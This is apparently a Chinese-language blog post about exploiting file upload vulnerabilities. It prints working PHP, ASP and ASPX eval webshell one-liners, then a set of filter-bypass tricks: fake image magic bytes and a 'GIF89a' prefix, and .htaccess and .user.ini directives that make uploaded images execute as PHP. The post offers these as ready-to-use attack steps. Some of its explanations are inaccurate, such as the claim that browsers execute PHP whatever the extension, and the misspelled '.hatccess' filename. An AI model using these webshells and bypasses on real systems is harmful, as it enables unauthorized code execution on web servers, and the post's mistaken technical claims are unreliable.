文件上传漏洞
如果一个网站允许上传文件,并且允许用户去访问这个文件,那么就可能存在文件上传漏洞。 当我们上传一个php文件并访问,那么这个php文件中的恶意代码将会被执行,我们的目的就是通过构造这个恶意代码,获取我们想要的信息,或执行我们想要的操作。例如下面这行代码: ```php <?php @eval($_POST['a']) ?> ``` 当我们用Post请求上传`a='ls'`后,页面就会返回`ls`的结果,同理我们可以构造其他我们想利用的代码。 在实际情况中很多服务器都有过滤机制,下面是一些常用的绕过技巧: ### 1 由于php文件的特性,就算php文件的后缀名不是.php,一般的浏览器还是会将它当成php文件执行,我们可以修改文件的后缀名(png,jpg等)来绕过某些过滤机制。 ### 2 一句话木马的形式并不是唯一的,有以下几个变种,当第一种行不通时可以尝试其它的形式。 PHP一句话木马: ```php <?php @eval($_POST['a']) ?> <script language="php">eval($_POST['a']);</script> ``` ASP一句话木马: ```asp <%eval request (“a”)%> ``` ASPX一句话木马: ```asp <%@ Page Language=“Jscript”%> <%eval(Request.Item[“a”],“unsafe”);%> ``` ### 3 有些网站可能会检测文件头是否合法,这时可以添加文件头进行绕过。 用16进制编辑器添加文件头: - jpg : FF D8 FF - png : 89 50 4E 47 - gif : 47 49 46 38 - xml : 3C 3F 78 6D 6C - html : 68 74 6D 6C 3E - zip : 50 4B 03 04 - rar : 52 61 72 21 - pdf : 25 50 44 46 2D 31 2E - xls,doc : D0 CF 11 E0 或者直接使用文本编辑器在开头加入`GIF89a`,来构造一个虚假的图片,可以绕过getimagesize()函数。 ### 4 有时文件上传成功后,访问并不能执行里面的脚本,可能还要上传.hatccess文件或者.user.ini文件使木马能够被解析。其中.hatccess只适用于apache,而.user.ini适用于大多数服务器。 #### .hatccess 将png文件解析为php文件 ``` AddType application/x-httpd-php .png ``` 将文件名含有字母“a”的文件解析为php文件 ``` <FilesMatch "a"> SetHandler application/x-httpd-php </FilesMatch> ``` #### .user.ini 当服务器的脚本语言为php,且上传目录中有php文件时,可以尝试.user.ini进行绕过。一般脚本形式为: ``` //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。 auto_prepend_file=a.jpg //解析后进行包含 auto_append_file=a.jpg ```
创建时间:2022-12-14
|
最后修改:2023-12-27
|
©允许规范转载
酷酷番茄
首页
文章
友链